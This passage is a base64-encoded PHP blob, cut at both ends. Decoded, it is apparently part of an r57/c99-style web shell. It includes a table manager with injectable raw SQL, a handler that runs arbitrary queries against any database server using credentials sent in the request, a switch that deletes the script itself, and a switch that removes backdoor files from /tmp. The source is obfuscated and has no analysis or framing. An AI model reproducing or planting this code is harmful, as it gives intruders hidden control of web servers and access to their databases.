gICAgICAgICAgICAgICAkdmE9IkFsdGVyIFRhYmxlICR0Yl9uYW1lc1skaV0iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnb3RvKCR0Yl9uYW1lc1skaV0sICRfU0VTU0lPTlsnZGJuYW1lJ10sJ2FsdGVyLnBocCcsICdidXQnLCAnYWx0ZXJ0YWJsZScsICR2YSApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjwvdGQ+PHRkIGFsaWduPSdjZW50ZXInIHZhbGlnbj0nbWlkZGxlJz5cbiI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNodGFibGVmb3JtKCR0Yl9uYW1lc1skaV0sICRfU0VTU0lPTlsnZGJuYW1lJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjwvdGQ+PHRkPiI7DQogICAgICAgICAgICAgICAgLy9UYWJsZSBzaXplIGluIGJ5dGVzDQogICAgICAgICAgICAgICBlY2hvIG15c2l6ZSgkX1NFU1NJT05bJ2RibmFtZSddLCR0Yl9uYW1lc1skaV0pOw0KDQogICAgICAgICAgICAgICAgZWNobyI8L3RkPjwvdHI+XG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgfS8vZm9yDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjwvdGFibGU+XG4iOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICB9ZWxzZXsgLy90YWJsZW5hbWUgaXMgc2V0DQovLyoqKioqKioqKioqKioqKioqIG1lbnUgKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCiAgICAgICAgICAgICAgICBlY2hvIjx0YWJsZT48dHIgY2xhc3M9J2Zyb3cnPjx0ZD5cbiI7DQogICAgICAgICAgICAgICAgJHZhbHVlPSIkX1NFU1NJT05bZGJuYW1lXSBTdGFydCI7IC8vRXggVGFibGUgTWFuYWdlciBTdGFydA0KICAgICAgICAgICAgICAgIGdvdG8oJHRhYmxlbmFtZSwgJF9TRVNTSU9OWydkYm5hbWUnXSwgJGFjdGlvbiwgJ2J1dCcsICd0YWJsZXN0YXJ0JywgJHZhbHVlICk7DQogICAgICAgICAgICAgICAgZWNobyI8L3RkPlxuIjsNCg0KICAgICAgICBlY2hvIjx0ZD5cbiI7DQogICAgICAgICR2YWx1ZT0ix+Hmx8zl5SDH4dHG7dPt5SI7IC8vQ2hvb3NlIERCDQogICAgICAgICAgICAgICAgZ290bygiIiwgIiIsICRhY3Rpb24sICdidXQnLCAnc3RhcnQnLCAkdmFsdWUgKTsNCiAgICAgICAgICAgICAgICBlY2hvIjwvdGQ+XG4iOw0KDQogICAgICAgIGVjaG8iPHRkPlxuIjsNCiAgICAgICAgJHZhbHVlPSJXcml0ZSBZb3VyIE93biBRdWVyeSI7DQogICAgICAgICAgICAgICAgZ290bygiICIsICRfU0VTU0lPTlsnZGJuYW1lJ10sICRhY3Rpb24sICdidXQnLCAnd3lvcScsICR2YWx1ZSApOw0KICAgICAgICBlY2hvIjwvdGQ+XG4iOw0KDQogICAgICAgICAgICAgICAgaWYgKCFpc3NldCgkX1BPU1RbJ2FkZCddKSAmJiAhaXNzZXQoJF9QT1NUWydkZWx0YWJsZSddKSAmJiBpc3NldCgkdGFibGVuYW1lKSl7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjx0ZD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgLy8kdGFibGVuYW1lID0gJF9QT1NUWyd0YWJsZW5hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR2YT0iQWRkIGEgJHRhYmxlbmFtZSBSZWNvcmQiOw0KICAgICAgICAgICAgICAgICAgICAgICAgZ290bygkdGFibGVuYW1lLCAkX1NFU1NJT05bJ2RibmFtZSddLCAnYWx0ZXIucGhwJywgJ2J1dCcsICdhZGQnLCAkdmEgKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPC90ZD5cbiI7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgaWYgKCFpc3NldCgkX1BPU1RbJ2RlbHRhYmxlJ10pKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPHRkPlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIHNlYXJjaHRhYmxlZm9ybSgkdGFibGVuYW1lLCAkX1NFU1NJT05bJ2RibmFtZSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPC90ZD5cbiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8iPC90cj48L3RhYmxlPlxuIjsNCiAgICAgICAgICAgICAgICBlY2hvIjxiciAvPlxuIjsNCg0KLy8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KDQogICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydhZGRyZWMnXSkpew0KICAgICAgICAgICAvLyAkc2hvd2FsbD1mYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHQ9YWRkcmVjb3JkKCR0YWJsZW5hbWUsICRfU0VTU0lPTlsnZGJuYW1lJ10sICRfUE9TVFsnYXJyYXknXSk7DQogICAgICAgICAgICAgICAgfWVsc2VpZihpc3NldCgkX1BPU1RbJ2FkZCddKSl7DQogICAgICAgICAgICAkc2hvd2FsbD1mYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGFkZGZvcm0oJHRhYmxlbmFtZSwgJF9TRVNTSU9OWydkYm5hbWUnXSk7DQogICAgICAgICAgICAgICAgfWVsc2VpZihpc3NldCgkX1BPU1RbJ2RlbGV0ZSddKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAvL2RlbGV0ZSByZWNvcmQgaGFzIGJlZW4gcHVzaGVkDQogICAgICAgICAgIC8vICRzaG93YWxsPWZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHdocj1idWlsZHdocigkX1BPU1RbJ3BrJ10sICRfUE9TVFsncHYnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gImRlbGV0ZSBmcm9tICR0YWJsZW5hbWUgd2hlcmUgJHdociI7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0PWV4ZXF1ZXJ5KCRzcWwsICR0YWJsZW5hbWUsICRfU0VTU0lPTlsnZGJuYW1lJ10pOw0KICAgICAgICAgICAgICAgIH1lbHNlaWYgKGlzc2V0KCRfUE9TVFsnZWRpdCddKSl7Ly9FZGl0DQogICAgICAgICAgICAkc2hvd2FsbD1mYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR3aHIgPSBidWlsZHdociggJF9QT1NUWydwayddLCAkX1BPU1RbJ3B2J10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgLy8kdGFibGVuYW1lID0gJF9TRVNTSU9OWyd0YWJsZW5hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWw9ICJTZWxlY3QgKiBmcm9tICR0YWJsZW5hbWUgd2hlcmUgJHdociI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHQ9ZXhlcXVlcnkoJHNxbCwgJHRhYmxlbmFtZSwgJF9TRVNTSU9OWydkYm5hbWUnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICBlZGl0Zm9ybSgkdGFibGVuYW1lLCAkX1NFU1NJT05bJ2RibmFtZSddLCAkcmVzdWx0LCAnZWRpdCcsICRfUE9TVFsncGsnXSwgJF9QT1NUWydwdiddKTsNCiAgICAgICAgICAgICAgICB9ZWxzZWlmKGlzc2V0KCRfUE9TVFsnZWRpdHJlYyddKSl7DQogICAgICAgICAgIC8vICRzaG93YWxsPWZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdD1lZGl0cmVjKCRfU0VTU0lPTlsnZGJuYW1lJ10sJHRhYmxlbmFtZSwgJF9QT1NUWydwayddLCAkX1BPU1RbJ3B2J10sICRfUE9TVFsnYXJyYXknXSk7DQogICAgICAgICAgICAgICAgfQ0KLy8qKioqKioqKioqKioqKioqIFNlYXJjaCAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCiAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NlYXJjaHZhbCddKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAkc2VhcmNodmFsPSRfUE9TVFsnc2VhcmNodmFsJ107DQogICAgICAgICAgICAgICAgfWVsc2VpZihpc3NldCgkX0dFVFsnc2VhcmNodmFsJ10pKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzZWFyY2h2YWw9JF9HRVRbJ3NlYXJjaHZhbCddOw0KICAgICAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAgICAgJHNlYXJjaHZhbD0iIjsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ3RhYmxlbmFtZSddKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAkdGFibGVuYW1lID0gJF9HRVRbJ3RhYmxlbmFtZSddOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIGlmKChpc3NldCgkX1BPU1RbJ3NlYXJjaCddKXx8IGlzc2V0KCRzZWFyY2h2YWwpKSAmJiAkc2VhcmNodmFsICE9IiIpew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdD1zZWFyY2h0KCR0YWJsZW5hbWUsICRfU0VTU0lPTlsnZGJuYW1lJ10sICAkc2VhcmNodmFsKTsNCiAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgICAgIC8vRGlzcGxheSBBbGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRxdWVyeSA9ICJzZWxlY3QgKiBmcm9tICR0YWJsZW5hbWUiOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdD1leGVxdWVyeSgkcXVlcnksICR0YWJsZW5hbWUsICRfU0VTU0lPTlsnZGJuYW1lJ10pOw0KICAgICAgICAgICAgICAgIH0NCg0KLy8qKioqKioqKioqKioqKioqKiBEaXNwbGF5IHJlY29yZCBjb3VudCAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KICAgICAgICBpZigkc2hvd2FsbCl7DQogICAgICAgICAgICAkbnVtX3Jvd3MgPSBteXNxbF9udW1fcm93cygkcmVzdWx0KTsNCiAgICAgICAgICAgIC8vV29ya291dCB3aGljayBwYWdlIHRvIGRpc3BsYXkNCiAgICAgICAgICAgICAgICAgICAgaWYoIWlzc2V0KCRfR0VUWydwZyddKSAmJiAhaXNzZXQoJHBnKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGJlZz0wOw0KICAgICAgICAgICAgICAgICRwZz0wOw0KICAgICAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsncGJhY2snXSkpew0KICAgICAgICAgICAgICAgICAgICAkcGc9JF9HRVRbJ3BnJ107DQogICAgICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgICAgICRwZz0kX0dFVFsncGcnXTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgIGlmKCRwZyA8IDAgKXsNCiAgICAgICAgICAgICAgICAgICAgJHBnPTA7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmKCRwZyA+ICRudW1fcm93cy8kcGFnZW1heCl7DQogICAgICAgICAgICAgICAgICAgICRwZz1jZWlsKCRudW1fcm93cy8kcGFnZW1heCktMTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJGJlZyA9ICRwZyAqICRwYWdlbWF4Ow0KDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKCFpc3NldCgkX1BPU1RbJ2FkZCddKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBzY3JvbD0iICI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VzY3JvbCA9IiAiOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VzY3JvbCA9IHdoaWNocGFnZSgkbnVtX3Jvd3MsICRwYWdlbWF4LCAkcGcsICR0YWJsZW5hbWUsICRzZWFyY2h2YWwpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiJHBhZ2VzY3JvbFxuIjsgLy9EaXNwbGF5IG5leHQgVG9wIHBhZ2UgbWVudQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZsZHMgPSBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPHRhYmxlIGJvcmRlcj0wIHdpZHRoPScxMDAlJz5cbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8dHIgY2xhc3M9aGVhZD48dGQ+PC90ZD48dGQ+PC90ZD5cbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpZWxkcyA9IG15c3FsX2xpc3RfZmllbGRzKCAkX1NFU1NJT05bJ2RibmFtZSddLCAkdGFibGVuYW1lKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6PTA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHggPTA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBrZmllbGQ9YXJyYXkoKTsNCg0KLy8qKioqKioqKioqKioqRGlzcGxheSBlYWNoIG9mIHRoZSBmaWVsZCBuYW1lcy4qKioqKioqKioqKioqKioqKioqKioqKioqKioNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkZmxkczsgJGkrKykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0ZD4iLm15c3FsX2ZpZWxkX25hbWUoJGZpZWxkcywgJGkpLiI8L3RkPlxuIjsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9GaW5kIHRoZSBwcmltYXJ5IGtleQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZsYWdzdHJpbmcgPSBteXNxbF9maWVsZF9mbGFncyAoJHJlc3VsdCwgJGkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoZXJlZ2koInByaW1hcnkiLCRmbGFnc3RyaW5nICkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGtbJHpdID0gJGk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBrZmllbGRbJHpdPSBteXNxbF9maWVsZF9uYW1lKCRmaWVsZHMsICRpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHorKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8L3RyPlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGJsPSR0YWJsZW5hbWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9pZihpc3NldCgkcGspKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkeiA+IDApew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNwaz1jb3VudCgkcGspOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNwaz0wOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KLy8qKioqKioqKioqKipEaXNwbGF5IGVhY2ggcm93IGZyb20gdGhlIHRhYmxlLioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IgKCRzPSRiZWc7ICRzIDwgJGJlZyArICRwYWdlbWF4OyAkcysrKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRzIDwgJG51bV9yb3dzKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFteXNxbF9kYXRhX3NlZWsgKCRyZXN1bHQsICRzKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbm5vdCBzZWVrIHRvIHJvdyAkc1xuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJvdz1teXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoIWlzc2V0KCRwaykpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwaz0iICI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBrZmllbGQ9IGFycmF5KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGlzcGxheXJvdygkX1NFU1NJT05bJ2RibmFtZSddLCAkdGJsLCAkcGssICRwa2ZpZWxkLCAkY3BrLCAkcm93LCAkZmxkcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVjaG8iPC90YWJsZT5cbiI7DQogICAgICAgICAgICAgICAgICAgIGlmICghaXNzZXQoJF9QT1NUWydhZGQnXSkgJiYgIWlzc2V0KCRfUE9TVFsnZWRpdCddKSAmJiAhaXNzZXQoJF9QT1NUWydkZWx0YWJsZSddKSAmJiAhaXNzZXQoJF9QT1NUWydkcm9wdGFiJ10pICYmICFpc3NldCgkX1BPU1RbJ3d5b3EnXSkgJiYgJHRhYmxlbmFtZSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIkcGFnZXNjcm9sXG4iOyAvL0Rpc3BsYXkgYm90dG9tIG5leHQgcGFnZSBtZW51DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWNobyI8YnI+PGJyPlxuIjsNCiAgICAgICAgICAgICAgICAgfS8vc2hvd2FsbA0KICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3RhYmxlbmFtZSddKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8dGFibGUgYm9yZGVyPTA+IjsNCiAgICAgICAgICAgICAgICAgICAgIGVjaG8iPHRyPjx0ZD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICR0YWJsZW5hbWU9JF9QT1NUWyd0YWJsZW5hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAkdmE9IkFsdGVyIFRhYmxlICR0YWJsZW5hbWUiOw0KICAgICAgICAgICAgICAgICAgICAgICAgIGdvdG8oICR0YWJsZW5hbWUsICAkX1NFU1NJT05bJ2RibmFtZSddLCdhbHRlci5waHAnLCAnYnV0JywgJ2FsdGVydGFibGUnLCAkdmEgKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjwvdGQ+PC90cj5cbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8L3RhYmxlPlxuIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCn0NCmRpc3BsYXlfZm9vdCgpOw0KZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOyAgZGllKCk7IH0NCg0KaWYgKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0iZGJfcXVlcnkiKQ0KIHsNCiBlY2hvICRoZWFkOw0KICRzcWwgPSBuZXcgbXlfc3FsKCk7DQogJHNxbC0+ZGIgICA9ICRfUE9TVFsnZGInXTsNCiAkc3FsLT5ob3N0ID0gJF9QT1NUWydkYl9zZXJ2ZXInXTsNCiAkc3FsLT5wb3J0ID0gJF9QT1NUWydkYl9wb3J0J107DQogJHNxbC0+dXNlciA9ICRfUE9TVFsnbXlzcWxfbCddOw0KICRzcWwtPnBhc3MgPSAkX1BPU1RbJ215c3FsX3AnXTsNCiAkc3FsLT5iYXNlID0gJF9QT1NUWydteXNxbF9kYiddOw0KICRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJF9QT1NUWydkYl9xdWVyeSddKTsNCiBlY2hvICc8Ym9keSBiZ2NvbG9yPSMwMDAwMDA+JzsNCiBpZighJHNxbC0+Y29ubmVjdCgpKSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5DYW4ndCBjb25uZWN0IHRvIFNRTCBzZXJ2ZXI8L2I+PC9mb250PjwvZGl2PiI7DQogIGVsc2UNCiAgIHsNCiAgIGlmKCFlbXB0eSgkc3FsLT5iYXNlKSYmISRzcWwtPnNlbGVjdF9kYigpKSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yIGNvbG9yPXJlZD48Yj7h4yDt08rY7dogys3P7c8g3sfaz+Ugx+HI7cfkx8o8L2I+PC9mb250PjwvZGl2PiI7DQogICBlbHNlDQogICAgew0KICAgIGZvcmVhY2goJHF1ZXJ5cyBhcyAkbnVtPT4kcXVlcnkpDQogICAgIHsNCiAgICAgIGlmKHN0cmxlbigkcXVlcnkpPjUpDQogICAgICB7DQogICAgICBlY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yIGNvbG9yPWdyZWVuPjxiPlF1ZXJ5IyIuJG51bS4iIDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSxFTlRfUVVPVEVTKS4iPC9iPjwvZm9udD48YnI+IjsNCiAgICAgIHN3aXRjaCgkc3FsLT5xdWVyeSgkcXVlcnkpKQ0KICAgICAgIHsNCiAgICAgICBjYXNlICcwJzoNCiAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+RXJyb3IgOiA8Yj4iLiRzcWwtPmVycm9yLiI8L2I+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgYnJlYWs7DQogICAgICAgY2FzZSAnMSc6DQogICAgICAgaWYoJHNxbC0+Z2V0X3Jlc3VsdCgpKQ0KICAgICAgICB7DQogICAgICAgICAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT4iOw0KICAgICAgICBmb3JlYWNoKCRzcWwtPmNvbHVtbnMgYXMgJGs9PiR2KSAkc3FsLT5jb2x1bW5zWyRrXSA9IGh0bWxzcGVjaWFsY2hhcnMoJHYsRU5UX1FVT1RFUyk7DQogICAgICAgICAgICAgICAka2V5cyA9IEBpbXBsb2RlKCImbmJzcDs8L2I+PC9mb250PjwvdGQ+PHRkIGJnY29sb3I9I2NjY2NjYz48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPiZuYnNwOyIsICRzcWwtPmNvbHVtbnMpOw0KICAgICAgICBlY2hvICI8dHI+PHRkIGJnY29sb3I9IzMzMzMzMz48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPiZuYnNwOyIuJGtleXMuIiZuYnNwOzwvYj48L2ZvbnQ+PC90ZD48L3RyPiI7DQogICAgICAgIGZvcigkaT0wOyRpPCRzcWwtPm51bV9yb3dzOyRpKyspDQogICAgICAgICB7DQogICAgICAgICBmb3JlYWNoKCRzcWwtPnJvd3NbJGldIGFzICRrPT4kdikgJHNxbC0+cm93c1skaV1bJGtdID0gaHRtbHNwZWNpYWxjaGFycygkdixFTlRfUVVPVEVTKTsNCiAgICAgICAgICR2YWx1ZXMgPSBAaW1wbG9kZSgiJm5ic3A7PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+Jm5ic3A7Iiwkc3FsLT5yb3dzWyRpXSk7DQogICAgICAgICBlY2hvICc8dHI+PHRkPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+Jm5ic3A7Jy4kdmFsdWVzLicmbmJzcDs8L2ZvbnQ+PC90ZD48L3RyPic7DQogICAgICAgICB9DQogICAgICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICAgICAgfQ0KICAgICAgIGJyZWFrOw0KICAgICAgIGNhc2UgJzInOg0KICAgICAgICRhciA9ICRzcWwtPmFmZmVjdGVkX3Jvd3MoKT8oJHNxbC0+YWZmZWN0ZWRfcm93cygpKTooJzAnKTsNCiAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+YWZmZWN0ZWQgcm93cyA6IDxiPiIuJGFyLiI8L2I+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOw0KICAgICAgIGJyZWFrOw0KICAgICAgIH0NCiAgICAgIH0NCiAgICAgfQ0KICAgIH0NCiAgIH0NCiBlY2hvICI8YnI+PGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPiI7DQogZWNobyBpbignaGlkZGVuJywnZGInLDAsJF9QT1NUWydkYiddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdkYl9zZXJ2ZXInLDAsJF9QT1NUWydkYl9zZXJ2ZXInXSk7DQogZWNobyBpbignaGlkZGVuJywnZGJfcG9ydCcsMCwkX1BPU1RbJ2RiX3BvcnQnXSk7DQogZWNobyBpbignaGlkZGVuJywnbXlzcWxfbCcsMCwkX1BPU1RbJ215c3FsX2wnXSk7DQogZWNobyBpbignaGlkZGVuJywnbXlzcWxfcCcsMCwkX1BPU1RbJ215c3FsX3AnXSk7DQogZWNobyBpbignaGlkZGVuJywnbXlzcWxfZGInLDAsJF9QT1NUWydteXNxbF9kYiddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdjbWQnLDAsJ2RiX3F1ZXJ5Jyk7DQogZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+IjsNCiBlY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPkJhc2U6IDwvYj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bXlzcWxfZGIgdmFsdWU9XCIiLiRzcWwtPmJhc2UuIlwiPjwvZm9udD48YnI+IjsNCiBlY2hvICI8dGV4dGFyZWEgY29scz02NSByb3dzPTEwIG5hbWU9ZGJfcXVlcnk+Ii4oIWVtcHR5KCRfUE9TVFsnZGJfcXVlcnknXSk/KCRfUE9TVFsnZGJfcXVlcnknXSk6KCJTSE9XIERBVEFCQVNFUztcblNFTEVDVCAqIEZST00gdXNlcjsiKSkuIjwvdGV4dGFyZWE+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiBSdW4gU1FMIHF1ZXJ5IFwiPjwvZGl2Pjxicj48YnI+IjsNCiBlY2hvICI8L2Zvcm0+IjsNCiBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7IGRpZSgpOw0KIH0NCmlmKGlzc2V0KCRfR0VUWydkZWxldGUnXSkpDQogew0KICAgQHVubGluayhfX0ZJTEVfXyk7DQogfQ0KaWYoaXNzZXQoJF9HRVRbJ3RtcCddKSkNCiB7DQogICBAdW5saW5rKCIvdG1wL2JkcGwiKTsNCiAgIEB1bmxpbmsoIi90bXAvYmFjayIpOw0KICAgQHVubGluaygiL3RtcC9iZCIpOw0KICAgQHVubGluaygiL3RtcC9iZC5jIik7DQogICBAdW5saW5rKCIvdG1wL2RwIik7DQogICBAdW5saW5rKCIvdG1wL2RwYyIpOw0KICAgQHVubGluaygiL3RtcC9kcGMuYyIpOw0KIH0NCmlmKGlzc2V0KCRfR0VUWydwaHBpbmknXSkpDQp7DQplY2hvICRoZWFkOw0KZnVuY3Rpb24gVV92YWx1ZSgkdmFsdWUpDQogew0KIGlmICgkdmFsdWUgPT0gJycpIHJldHVybiAnPGk+bm8gdmFsdWU8L2k+JzsNCiBpZiAoQGlzX2Jvb2woJHZhbHVlKSkgcmV0dXJuICR2YWx1ZSA/ICdUUlVFJyA6ICdGQUxTRSc7DQogaWYgKCR2YWx1ZSA9PT0gbnVsbCkgcmV0dXJuICdOVUxMJzsNCiBpZiAoQGlzX29iamVjdCgkd